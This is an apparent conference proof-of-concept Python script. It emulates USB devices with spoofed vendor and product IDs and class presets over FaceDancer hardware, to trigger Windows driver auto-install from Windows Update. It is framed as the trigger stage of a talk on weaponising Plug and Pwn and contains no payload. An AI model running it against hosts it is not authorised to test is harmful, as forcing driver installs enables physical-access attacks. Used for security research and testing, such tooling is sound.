#!/usr/bin/env python3
#
# Plug and Pwn: Weaponizing Windows PnP Auto-Install
# DEF CON 34 (2026) -- Alejandro Hernando & Borja Martinez
#
# Proof-of-concept released with the talk. Provided for education and
# authorized security testing only. No warranty. Use only against systems
# you own or are explicitly permitted to test.
"""
usb_trigger.py - emulate a USB device to trigger Windows driver auto-install.

Presents a chosen VID/PID (and class/subclass/protocol) to the host over
FaceDancer. Windows enumerates it like real hardware and walks its driver
search: exact hardware ID, then compatible IDs, then Windows Update. Useful
for checking which VID/PIDs pull a driver down from WU.

Needs a GreatFET One (or other FaceDancer-supported board) and:
    pip install facedancer

Examples:
    python3 usb_trigger.py --vid 0x056A --pid 0x0149 --preset vendor
    python3 usb_trigger.py --vid 0x0572 --pid 0x1328 --preset modem
    python3 usb_trigger.py --vid 0x1038 --pid 0x1702 --preset composite_hid
    python3 usb_trigger.py --list-presets
"""

import argparse
import secrets
import struct
import sys
import threading
import time

try:
    from facedancer import *
except ImportError:
    print("[!] FaceDancer not installed. Run: pip install facedancer")
    sys.exit(1)


# Device class presets. Simple ones set a single interface; the 'composite'
# ones create several interfaces (MI_00, MI_01, ...) so drivers that match on
# interface-specific hardware IDs will bind.
DEVICE_PRESETS = {
    'hid': {
        'name': 'HID Device (Generic)',
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0x03, 'iface_subclass': 0x00, 'iface_protocol': 0x00,
        'endpoints': ['interrupt_in'],
    },
    'hid_boot': {
        'name': 'HID Boot Device (Keyboard/Mouse)',
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0x03, 'iface_subclass': 0x01, 'iface_protocol': 0x01,
        'endpoints': ['interrupt_in'],
    },
    'cdc': {
        'name': 'CDC/Modem Device',
        'device_class': 0x02, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0x02, 'iface_subclass': 0x02, 'iface_protocol': 0x01,
        'endpoints': ['interrupt_in', 'bulk_in', 'bulk_out'],
    },
    'modem': {
        'name': 'USB Modem (ACM)',
        'device_class': 0x02, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0x02, 'iface_subclass': 0x02, 'iface_protocol': 0x01,
        'endpoints': ['interrupt_in', 'bulk_in', 'bulk_out'],
    },
    'serial': {
        'name': 'USB Serial Port (vendor-specific)',
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0xFF, 'iface_subclass': 0x00, 'iface_protocol': 0x00,
        'endpoints': ['bulk_in', 'bulk_out'],
    },
    'mass_storage': {
        'name': 'Mass Storage Device',
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0x08, 'iface_subclass': 0x06, 'iface_protocol': 0x50,
        'endpoints': ['bulk_in', 'bulk_out'],
    },
    'vendor': {
        'name': 'Vendor-Specific Device',
        'device_class': 0xFF, 'device_subclass': 0xFF, 'device_protocol': 0xFF,
        'iface_class': 0xFF, 'iface_subclass': 0xFF, 'iface_protocol': 0xFF,
        'endpoints': ['bulk_in', 'bulk_out'],
    },
    'winusb': {
        'name': 'WinUSB Device (composite, vendor interface)',
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0xFF, 'iface_subclass': 0x00, 'iface_protocol': 0x00,
        'endpoints': ['bulk_in', 'bulk_out'],
    },
    'minimal': {
        'name': 'Minimal Device (no class codes, exact VID:PID match)',
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0x00, 'iface_subclass': 0x00, 'iface_protocol': 0x00,
        'endpoints': ['bulk_in', 'bulk_out'],
    },
    'printer': {
        'name': 'USB Printer',
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0x07, 'iface_subclass': 0x01, 'iface_protocol': 0x02,
        'endpoints': ['bulk_in', 'bulk_out'],
    },
    'audio': {
        'name': 'USB Audio Device',
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0x01, 'iface_subclass': 0x01, 'iface_protocol': 0x00,
        'endpoints': ['interrupt_in'],
    },
    'bluetooth': {
        'name': 'Bluetooth Adapter',
        'device_class': 0xE0, 'device_subclass': 0x01, 'device_protocol': 0x01,
        'iface_class': 0xE0, 'iface_subclass': 0x01, 'iface_protocol': 0x01,
        'endpoints': ['interrupt_in', 'bulk_in', 'bulk_out'],
    },
    'image': {
        'name': 'Imaging Device (Scanner, PTP)',
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0x06, 'iface_subclass': 0x01, 'iface_protocol': 0x01,
        'endpoints': ['bulk_in', 'bulk_out', 'interrupt_in'],
    },
    # Interrupt-endpoint variants (some devices enumerate more reliably this way)
    'vendor_int': {
        'name': 'Vendor-Specific Device (interrupt endpoints)',
        'device_class': 0xFF, 'device_subclass': 0xFF, 'device_protocol': 0xFF,
        'iface_class': 0xFF, 'iface_subclass': 0xFF, 'iface_protocol': 0xFF,
        'endpoints': ['interrupt_in', 'interrupt_out'], 'use_interrupt': True,
    },
    'winusb_int': {
        'name': 'WinUSB Device (interrupt endpoints)',
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0xFF, 'iface_subclass': 0x00, 'iface_protocol': 0x00,
        'endpoints': ['interrupt_in', 'interrupt_out'], 'use_interrupt': True,
    },
    'minimal_int': {
        'name': 'Minimal Device (interrupt endpoints)',
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0x00, 'iface_subclass': 0x00, 'iface_protocol': 0x00,
        'endpoints': ['interrupt_in', 'interrupt_out'], 'use_interrupt': True,
    },
    # WinUSB via MS OS 2.0 descriptors, the way most fingerprint readers ask
    # Windows to load winusb.sys without an INF.
    'biometric': {
        'name': 'Biometric Device (Fingerprint Reader)',
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0xFF, 'iface_subclass': 0x00, 'iface_protocol': 0x00,
        'endpoints': ['bulk_in', 'bulk_out'],
        'ms_os_20': True, 'ms_os_compat_id': 'WINUSB',
    },
    'biometric_int': {
        'name': 'Biometric Device (interrupt endpoints)',
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'iface_class': 0xFF, 'iface_subclass': 0x00, 'iface_protocol': 0x00,
        'endpoints': ['interrupt_in', 'interrupt_out'], 'use_interrupt': True,
        'ms_os_20': True, 'ms_os_compat_id': 'WINUSB',
    },
    # Composite presets. The first interface must be a different class from the
    # rest, otherwise Windows collapses them and never loads usbccgp.sys.
    'composite_hid': {
        'name': 'Composite HID Device (vendor + mouse)',
        'composite': True,
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'interfaces': [
            {'class': 0xFF, 'subclass': 0x00, 'protocol': 0x00, 'endpoints': ['interrupt_in']},
            {'class': 0x03, 'subclass': 0x01, 'protocol': 0x02, 'endpoints': ['interrupt_in']},
        ],
    },
    'composite_hid_keyboard': {
        'name': 'Composite HID Keyboard (vendor + keyboard)',
        'composite': True,
        'device_class': 0x00, 'device_subclass': 0x00, 'device_protocol': 0x00,
        'interfaces': [
            {'class': 0xFF, 'subclass': 0x00, 'protocol': 0x00, 'endpoints': ['interrupt_in']},
            {'class': 0x03, 'subclass': 0x01, 'protocol': 0x01, 'endpoints': ['interrupt_in']},
        ],
    },
    'composite_vendor': {
        'name': 'Composite Vendor Device (IAD)',
        'composite': True,
        'device_class': 0xEF, 'device_subclass': 0x02, 'device_protocol': 0x01,
        'interfaces': [
            {'class': 0xFF, 'subclass': 0x00, 'protocol': 0x00, 'endpoints': ['bulk_in', 'bulk_out']},
            {'class': 0xFF, 'subclass': 0x00, 'protocol': 0x00, 'endpoints': ['interrupt_in']},
        ],
    },
    'composite_modem': {
        'name': 'Composite Modem Device (CDC ACM)',
        'composite': True,
        'device_class': 0xEF, 'device_subclass': 0x02, 'device_protocol': 0x01,
        'interfaces': [
            {'class': 0x02, 'subclass': 0x02, 'protocol': 0x01, 'endpoints': ['interrupt_in']},
            {'class': 0x0A, 'subclass': 0x00, 'protocol': 0x00, 'endpoints': ['bulk_in', 'bulk_out']},
        ],
    },
    'composite_webcam': {
        'name': 'Composite Webcam (audio + video, UVC)',
        'composite': True,
        'device_class': 0xEF, 'device_subclass': 0x02, 'device_protocol': 0x01,
        'interfaces': [
            {'class': 0x01, 'subclass': 0x01, 'protocol': 0x00, 'endpoints': ['interrupt_in']},
            {'class': 0x01, 'subclass': 0x02, 'protocol': 0x00, 'endpoints': ['bulk_in']},
            {'class': 0x0E, 'subclass': 0x01, 'protocol': 0x00, 'endpoints': ['interrupt_in']},
        ],
    },
}


VENDOR_NAMES = {
    0x0572: "Conexant", 0x03F0: "HP", 0x04F3: "ELAN", 0x0403: "FTDI",
    0x04F9: "Brother", 0x0489: "Foxconn", 0x413C: "Dell", 0x0A5C: "Broadcom",
    0x0B05: "ASUS", 0x050D: "Belkin", 0x056A: "Wacom", 0x046D: "Logitech",
    0x044E: "Alps", 0x04B4: "Cypress", 0x1038: "SteelSeries", 0x0600: "Barco",
}


# Minimal mouse-style HID report descriptor, returned for GET_REPORT_DESCRIPTOR.
GENERIC_HID_DESCRIPTOR = bytes([
    0x05, 0x01, 0x09, 0x02, 0xA1, 0x01, 0x09, 0x01, 0xA1, 0x00,
    0x05, 0x09, 0x19, 0x01, 0x29, 0x03, 0x15, 0x00, 0x25, 0x01,
    0x95, 0x03, 0x75, 0x01, 0x81, 0x02, 0x95, 0x01, 0x75, 0x05,
    0x81, 0x01, 0x05, 0x01, 0x09, 0x30, 0x09, 0x31, 0x15, 0x81,
    0x25, 0x7F, 0x75, 0x08, 0x95, 0x02, 0x81, 0x06, 0xC0, 0xC0,
])


# --- MS OS 2.0 descriptors ------------------------------------------------
# Let a driverless device tell Windows to bind winusb.sys via a compatible ID.

MS_OS_20_PLATFORM_CAPABILITY_UUID = bytes([
    0xDF, 0x60, 0xDD, 0xD8, 0x89, 0x45, 0xC7, 0x4C,
    0x9C, 0xD2, 0x65, 0x9D, 0x9E, 0x64, 0x8A, 0x9F,
])
MS_OS_20_VENDOR_CODE = 0x02


def build_ms_os_20_descriptor_set(compat_id="WINUSB"):
    """Descriptor set with a single compatible-ID feature (e.g. WINUSB)."""
    compat = compat_id.encode('ascii')[:8].ljust(8, b'\x00')
    sub_compat = b'\x00' * 8
    compat_desc = struct.pack('<HH', 20, 0x0003) + compat + sub_compat
    header = struct.pack('<HHIH', 10, 0x0000, 0x06030000, 10 + len(compat_desc))
    return header + compat_desc


def build_bos_descriptor(desc_set_length):
    """BOS descriptor advertising the MS OS 2.0 platform capability."""
    cap = struct.pack('<BBBB', 28, 0x10, 0x05, 0x00)
    cap += MS_OS_20_PLATFORM_CAPABILITY_UUID
    cap += struct.pack('<IHB', 0x06030000, desc_set_length, MS_OS_20_VENDOR_CODE)
    cap += bytes([0x00])
    header = struct.pack('<BBHB', 5, 0x0F, 5 + len(cap), 1)
    return header + cap


def stop_later(device, timeout):
    """Disconnect after timeout seconds and exit."""
    time.sleep(timeout)
    print("\n[*] Timeout reached, disconnecting")
    try:
        device.disconnect()
    except Exception:
        pass
    import os
    os._exit(0)


def _default_strings(vid, pid, serial, manufacturer, product, product_default):
    if serial is None:
        prefix = VENDOR_NAMES.get(vid, "DEV")[:3].upper()
        serial = f"{prefix}{secrets.token_hex(6).upper()}"
    if manufacturer is None:
        manufacturer = VENDOR_NAMES.get(vid, "USB Device")
    if product is None:
        product = product_default
    return serial, manufacturer, product


def _handle_control(request, hid_desc, ms_os_desc, bos_desc, base_handle):
    """Shared control-request handling: answer vendor/class requests instead
    of stalling (so enumeration keeps going), plus HID report and BOS."""
    req = request.request
    type_bits = (request.request_type >> 5) & 0x03
    is_in = bool(request.request_type & 0x80)

    if type_bits != 0:
        kind = ("std", "class", "vendor", "rsvd")[type_bits]
        print(f"[req] {'IN' if is_in else 'OUT'} {kind} 0x{req:02X} "
              f"val=0x{request.value:04X} len={request.length}")

    # standard GET_STATUS, occasionally not handled by the base class
    if type_bits == 0 and req == 0x00:
        request.reply(b'\x00\x00')
        return True

    # vendor requests
    if type_bits == 2:
        if is_in:
            if req == MS_OS_20_VENDOR_CODE and ms_os_desc:
                request.reply(ms_os_desc[:request.length])
            else:
                request.reply(b'\x00' * min(request.length, 255))
        else:
            request.acknowledge()
        return True

    # class requests (e.g. Bluetooth HCI)
    if type_bits == 1:
        if is_in:
            request.reply(b'\x00' * min(request.length, 64))
        else:
            request.acknowledge()
        return True

    # GET_DESCRIPTOR for HID report / BOS
    if req == 0x06:
        desc_type = (request.value >> 8) & 0xFF
        if desc_type == 0x22 and hid_desc:
            request.reply(hid_desc[:request.length])
            return True
        if desc_type == 0x0F and bos_desc:
            request.reply(bos_desc[:request.length])
            return True

    try:
        base_handle(request)
    except (KeyError, IndexError) as e:
        print(f"[stall] unhandled request: {e}")
        request.stall()
    return True


def create_usb_trigger(vid, pid, device_class, device_subclass, device_protocol,
                       iface_class, iface_subclass, iface_protocol,
                       revision, serial, manufacturer, product, endpoints,
                       ms_os_20=False, ms_os_compat_id=None):
    """Single-interface device with bulk endpoints."""
    serial, manufacturer, product = _default_strings(
        vid, pid, serial, manufacturer, product, f"USB Device 0x{pid:04X}")

    ms_os_desc = bos_desc = None
    if ms_os_20 and ms_os_compat_id:
        ms_os_desc = build_ms_os_20_descriptor_set(ms_os_compat_id)
        bos_desc = build_bos_descriptor(len(ms_os_desc))

    print(f"[*] {manufacturer} 0x{vid:04X}:0x{pid:04X} rev 0x{revision:04X} serial {serial}")
    print(f"[*] device {device_class:02X}/{device_subclass:02X}/{device_protocol:02X} "
          f"iface {iface_class:02X}/{iface_subclass:02X}/{iface_protocol:02X} eps {endpoints}")
    if ms_os_desc:
        print(f"[*] MS OS 2.0 compat id: {ms_os_compat_id}")

    # aliased so the class body below can read them: an attribute named the
    # same as its value (device_class = device_class) is a class-scope error.
    dev_class, dev_subclass = device_class, device_subclass

    @use_inner_classes_automatically
    class TriggerDevice(USBDevice):
        name                     : str = "USB Trigger Device"
        vendor_id                : int = vid
        product_id               : int = pid
        device_class             : int = dev_class
        device_subclass          : int = dev_subclass
        protocol_revision_number : int = device_protocol
        manufacturer_string      : str = manufacturer
        product_string           : str = product
        serial_number_string     : str = serial
        device_revision          : int = revision
        max_packet_size_ep0      : int = 64
        usb_spec_version         : int = 0x0210 if ms_os_desc else 0x0200

        class Config(USBConfiguration):
            configuration_string   : str = "Trigger Configuration"
            self_powered           : bool = False
            supports_remote_wakeup : bool = True
            max_power              : int = 250

            class Interface(USBInterface):
                name            : str = "Trigger Interface"
                number          : int = 0
                class_number    : int = iface_class
                subclass_number : int = iface_subclass
                protocol_number : int = iface_protocol

                class BulkIn(USBEndpoint):
                    number          : int = 1
                    direction       : USBDirection = USBDirection.IN
                    transfer_type   : USBTransferType = USBTransferType.BULK
                    max_packet_size : int = 512

                class BulkOut(USBEndpoint):
                    number          : int = 2
                    direction       : USBDirection = USBDirection.OUT
                    transfer_type   : USBTransferType = USBTransferType.BULK
                    max_packet_size : int = 512

        def handle_request(self, request):
            _handle_control(request, GENERIC_HID_DESCRIPTOR, ms_os_desc,
                            bos_desc, super().handle_request)

        def handle_data_received(self, endpoint, data):
            print(f"[data] EP{endpoint.number} OUT {len(data)} bytes {data.hex()[:64]}")

    return TriggerDevice()


def create_interrupt_usb_trigger(vid, pid, device_class, device_subclass,
                                 device_protocol, iface_class, iface_subclass,
                                 iface_protocol, revision, serial, manufacturer,
                                 product, ms_os_20=False, ms_os_compat_id=None):
    """Single-interface device with interrupt endpoints."""
    serial, manufacturer, product = _default_strings(
        vid, pid, serial, manufacturer, product, f"USB Device 0x{pid:04X}")

    ms_os_desc = bos_desc = None
    if ms_os_20 and ms_os_compat_id:
        ms_os_desc = build_ms_os_20_descriptor_set(ms_os_compat_id)
        bos_desc = build_bos_descriptor(len(ms_os_desc))

    print(f"[*] {manufacturer} 0x{vid:04X}:0x{pid:04X} rev 0x{revision:04X} serial {serial}")
    print(f"[*] device {device_class:02X}/{device_subclass:02X}/{device_protocol:02X} "
          f"iface {iface_class:02X}/{iface_subclass:02X}/{iface_protocol:02X} eps [interrupt_in, interrupt_out]")
    if ms_os_desc:
        print(f"[*] MS OS 2.0 compat id: {ms_os_compat_id}")

    # aliased so the class body below can read them: an attribute named the
    # same as its value (device_class = device_class) is a class-scope error.
    dev_class, dev_subclass = device_class, device_subclass

    @use_inner_classes_automatically
    class InterruptDevice(USBDevice):
        name                     : str = "Interrupt USB Device"
        vendor_id                : int = vid
        product_id               : int = pid
        device_class             : int = dev_class
        device_subclass          : int = dev_subclass
        protocol_revision_number : int = device_protocol
        manufacturer_string      : str = manufacturer
        product_string           : str = product
        serial_number_string     : str = serial
        device_revision          : int = revision
        max_packet_size_ep0      : int = 64
        usb_spec_version         : int = 0x0210 if ms_os_desc else 0x0200

        class Config(USBConfiguration):
            configuration_string   : str = "Trigger Configuration"
            self_powered           : bool = False
            supports_remote_wakeup : bool = True
            max_power              : int = 250

            class Interface(USBInterface):
                name            : str = "Trigger Interface"
                number          : int = 0
                class_number    : int = iface_class
                subclass_number : int = iface_subclass
                protocol_number : int = iface_protocol

                class IntIn(USBEndpoint):
                    number          : int = 1
                    direction       : USBDirection = USBDirection.IN
                    transfer_type   : USBTransferType = USBTransferType.INTERRUPT
                    max_packet_size : int = 64
                    interval        : int = 10

                class IntOut(USBEndpoint):
                    number          : int = 2
                    direction       : USBDirection = USBDirection.OUT
                    transfer_type   : USBTransferType = USBTransferType.INTERRUPT
                    max_packet_size : int = 64
                    interval        : int = 10

        def handle_request(self, request):
            _handle_control(request, GENERIC_HID_DESCRIPTOR, ms_os_desc,
                            bos_desc, super().handle_request)

        def handle_data_requested(self, endpoint):
            endpoint.send(bytes(8))

        def handle_data_received(self, endpoint, data):
            print(f"[data] EP{endpoint.number} OUT {len(data)} bytes {data.hex()[:64]}")

    return InterruptDevice()


def create_composite_usb_trigger(vid, pid, device_class, device_subclass,
                                 device_protocol, interfaces, revision,
                                 serial, manufacturer, product):
    """Multi-interface device: Windows creates USB\\VID_x&PID_x&MI_00, MI_01, ...

    FaceDancer builds interfaces from statically-nested classes, so we always
    declare eight and pad the unused ones with a vendor placeholder.
    """
    serial, manufacturer, product = _default_strings(
        vid, pid, serial, manufacturer, product, f"USB Composite Device 0x{pid:04X}")

    num_interfaces = len(interfaces)
    placeholder = {'class': 0xFF, 'subclass': 0x00, 'protocol': 0x00}
    ifaces = list(interfaces) + [placeholder] * (8 - len(interfaces))

    print(f"[*] {manufacturer} 0x{vid:04X}:0x{pid:04X} rev 0x{revision:04X} serial {serial}")
    print(f"[*] device {device_class:02X}/{device_subclass:02X}/{device_protocol:02X}, "
          f"{num_interfaces} interfaces")
    for i in range(num_interfaces):
        f = ifaces[i]
        print(f"[*]   MI_{i:02d}: {f['class']:02X}/{f['subclass']:02X}/{f['protocol']:02X}")

    # aliased so the class body below can read them: an attribute named the
    # same as its value (device_class = device_class) is a class-scope error.
    dev_class, dev_subclass = device_class, device_subclass

    @use_inner_classes_automatically
    class CompositeDevice(USBDevice):
        name                     : str = "Composite USB Device"
        vendor_id                : int = vid
        product_id               : int = pid
        device_class             : int = dev_class
        device_subclass          : int = dev_subclass
        protocol_revision_number : int = device_protocol
        manufacturer_string      : str = manufacturer
        product_string           : str = product
        serial_number_string     : str = serial
        device_revision          : int = revision
        max_packet_size_ep0      : int = 64
        usb_spec_version         : int = 0x0200

        class Config(USBConfiguration):
            configuration_string   : str = "Composite Configuration"
            self_powered           : bool = True
            supports_remote_wakeup : bool = False
            max_power              : int = 250

            # Interface 0 carries an endpoint; it must differ in class from
            # interface 1 to force composite enumeration.
            class Interface0(USBInterface):
                number          : int = 0
                class_number    : int = ifaces[0]['class']
                subclass_number : int = ifaces[0]['subclass']
                protocol_number : int = ifaces[0]['protocol']

                class EP2In(USBEndpoint):
                    number          : int = 2
                    direction       : USBDirection = USBDirection.IN
                    transfer_type   : USBTransferType = USBTransferType.INTERRUPT
                    max_packet_size : int = 8
                    interval        : int = 10

            class Interface1(USBInterface):
                number          : int = 1
                class_number    : int = ifaces[1]['class']
                subclass_number : int = ifaces[1]['subclass']
                protocol_number : int = ifaces[1]['protocol']

                class EP1In(USBEndpoint):
                    number          : int = 1
                    direction       : USBDirection = USBDirection.IN
                    transfer_type   : USBTransferType = USBTransferType.INTERRUPT
                    max_packet_size : int = 8
                    interval        : int = 10

            class Interface2(USBInterface):
                number          : int = 2
                class_number    : int = ifaces[2]['class']
                subclass_number : int = ifaces[2]['subclass']
                protocol_number : int = ifaces[2]['protocol']

            class Interface3(USBInterface):
                number          : int = 3
                class_number    : int = ifaces[3]['class']
                subclass_number : int = ifaces[3]['subclass']
                protocol_number : int = ifaces[3]['protocol']

            class Interface4(USBInterface):
                number          : int = 4
                class_number    : int = ifaces[4]['class']
                subclass_number : int = ifaces[4]['subclass']
                protocol_number : int = ifaces[4]['protocol']

            class Interface5(USBInterface):
                number          : int = 5
                class_number    : int = ifaces[5]['class']
                subclass_number : int = ifaces[5]['subclass']
                protocol_number : int = ifaces[5]['protocol']

            class Interface6(USBInterface):
                number          : int = 6
                class_number    : int = ifaces[6]['class']
                subclass_number : int = ifaces[6]['subclass']
                protocol_number : int = ifaces[6]['protocol']

            class Interface7(USBInterface):
                number          : int = 7
                class_number    : int = ifaces[7]['class']
                subclass_number : int = ifaces[7]['subclass']
                protocol_number : int = ifaces[7]['protocol']

        def handle_request(self, request):
            _handle_control(request, GENERIC_HID_DESCRIPTOR, None, None,
                            super().handle_request)

        def handle_data_requested(self, endpoint):
            if endpoint.number == 1:
                endpoint.send(bytes(3))   # mouse report: buttons, X, Y
            else:
                endpoint.send(bytes(8))

        def handle_data_received(self, endpoint, data):
            print(f"[data] EP{endpoint.number} OUT {len(data)} bytes {data.hex()[:64]}")

    return CompositeDevice()


def list_presets():
    simple = {k: v for k, v in DEVICE_PRESETS.items() if not v.get('composite')}
    composite = {k: v for k, v in DEVICE_PRESETS.items() if v.get('composite')}

    print("\nSimple devices (single interface):")
    for name, p in simple.items():
        print(f"  --preset {name:16s} {p['name']}")
        print(f"      device {p['device_class']:02X}/{p['device_subclass']:02X}/{p['device_protocol']:02X}"
              f"  iface {p['iface_class']:02X}/{p['iface_subclass']:02X}/{p['iface_protocol']:02X}")

    print("\nComposite devices (MI_00, MI_01, ...):")
    for name, p in composite.items():
        print(f"  --preset {name:16s} {p['name']}")
        for i, f in enumerate(p['interfaces']):
            print(f"      MI_{i:02d}: {f['class']:02X}/{f['subclass']:02X}/{f['protocol']:02X}")
    print()


def main():
    parser = argparse.ArgumentParser(description=__doc__,
                                     formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument('--vid', type=lambda x: int(x, 0), help="Vendor ID, e.g. 0x056A")
    parser.add_argument('--pid', type=lambda x: int(x, 0), help="Product ID, e.g. 0x0149")
    parser.add_argument('--preset', choices=list(DEVICE_PRESETS.keys()), help="Device preset")

    parser.add_argument('--device-class', type=lambda x: int(x, 0), default=None)
    parser.add_argument('--device-subclass', type=lambda x: int(x, 0), default=None)
    parser.add_argument('--device-protocol', type=lambda x: int(x, 0), default=None)
    parser.add_argument('--iface-class', type=lambda x: int(x, 0), default=None)
    parser.add_argument('--iface-subclass', type=lambda x: int(x, 0), default=None)
    parser.add_argument('--iface-protocol', type=lambda x: int(x, 0), default=None)

    parser.add_argument('--rev', type=lambda x: int(x, 0), default=0x0100, help="Device revision")
    parser.add_argument('--serial', default=None, help="Serial (random if unset)")
    parser.add_argument('--manufacturer', default=None)
    parser.add_argument('--product', default=None)

    parser.add_argument('--num-interfaces', type=int, default=None,
                        help="Composite device with N vendor interfaces (for MI_XX matching)")
    parser.add_argument('--ms-os-20', action='store_true',
                        help="Send MS OS 2.0 descriptors (WinUSB hint)")
    parser.add_argument('--compat-id', default=None,
                        help="MS OS 2.0 compatible ID, e.g. WINUSB (implies --ms-os-20)")

    parser.add_argument('--list-presets', action='store_true')
    parser.add_argument('--timeout', type=int, default=60,
                        help="Seconds to emulate before disconnect (use 300+ for a WU search)")
    args = parser.parse_args()

    if args.list_presets:
        list_presets()
        return
    if args.vid is None or args.pid is None:
        parser.error("--vid and --pid are required")

    ms_os_20 = args.ms_os_20 or bool(args.compat_id)
    ms_os_compat_id = args.compat_id

    is_composite = use_interrupt = False
    interfaces = None
    iface_class = iface_subclass = iface_protocol = 0x00
    endpoints = ['bulk_in', 'bulk_out']

    if args.preset:
        p = DEVICE_PRESETS[args.preset]
        device_class = p['device_class']
        device_subclass = p['device_subclass']
        device_protocol = p['device_protocol']
        is_composite = p.get('composite', False)
        use_interrupt = p.get('use_interrupt', False)
        if not args.ms_os_20 and not args.compat_id:
            ms_os_20 = p.get('ms_os_20', False)
            ms_os_compat_id = p.get('ms_os_compat_id', None)
        if is_composite:
            interfaces = p['interfaces']
        else:
            iface_class = p['iface_class']
            iface_subclass = p['iface_subclass']
            iface_protocol = p['iface_protocol']
            endpoints = p['endpoints']
        print(f"[*] preset: {args.preset} - {p['name']}")
    else:
        device_class = device_subclass = device_protocol = 0x00
        iface_class = 0xFF

    # command-line overrides (simple/interrupt only)
    if not is_composite:
        if args.device_class is not None: device_class = args.device_class
        if args.device_subclass is not None: device_subclass = args.device_subclass
        if args.device_protocol is not None: device_protocol = args.device_protocol
        if args.iface_class is not None: iface_class = args.iface_class
        if args.iface_subclass is not None: iface_subclass = args.iface_subclass
        if args.iface_protocol is not None: iface_protocol = args.iface_protocol

    # --num-interfaces builds a composite of N identical vendor interfaces
    if args.num_interfaces and args.num_interfaces > 0:
        is_composite = True
        device_class, device_subclass, device_protocol = 0xEF, 0x02, 0x01
        ic = args.iface_class if args.iface_class is not None else 0xFF
        isc = args.iface_subclass if args.iface_subclass is not None else 0x00
        ip = args.iface_protocol if args.iface_protocol is not None else 0x00
        interfaces = [{'class': ic, 'subclass': isc, 'protocol': ip} for _ in range(args.num_interfaces)]

    if is_composite:
        device = create_composite_usb_trigger(
            args.vid, args.pid, device_class, device_subclass, device_protocol,
            interfaces, args.rev, args.serial, args.manufacturer, args.product)
        print(f"[*] hardware IDs: USB\\VID_{args.vid:04X}&PID_{args.pid:04X}"
              + "".join(f", &MI_{i:02X}" for i in range(len(interfaces))))
    elif use_interrupt:
        device = create_interrupt_usb_trigger(
            args.vid, args.pid, device_class, device_subclass, device_protocol,
            iface_class, iface_subclass, iface_protocol, args.rev,
            args.serial, args.manufacturer, args.product, ms_os_20, ms_os_compat_id)
        print(f"[*] hardware ID: USB\\VID_{args.vid:04X}&PID_{args.pid:04X}&REV_{args.rev:04X}")
    else:
        device = create_usb_trigger(
            args.vid, args.pid, device_class, device_subclass, device_protocol,
            iface_class, iface_subclass, iface_protocol, args.rev,
            args.serial, args.manufacturer, args.product, endpoints,
            ms_os_20, ms_os_compat_id)
        print(f"[*] hardware ID: USB\\VID_{args.vid:04X}&PID_{args.pid:04X}&REV_{args.rev:04X}")

    print("[*] Windows tries: exact HWID -> VID&PID -> compatible IDs -> Windows Update")
    print(f"[*] emulating for {args.timeout}s (Ctrl+C to stop)")
    print("-" * 60)

    try:
        threading.Thread(target=stop_later, args=(device, args.timeout), daemon=True).start()
        device.emulate()
    except KeyboardInterrupt:
        print("\n[*] Stopped")


if __name__ == "__main__":
    main()
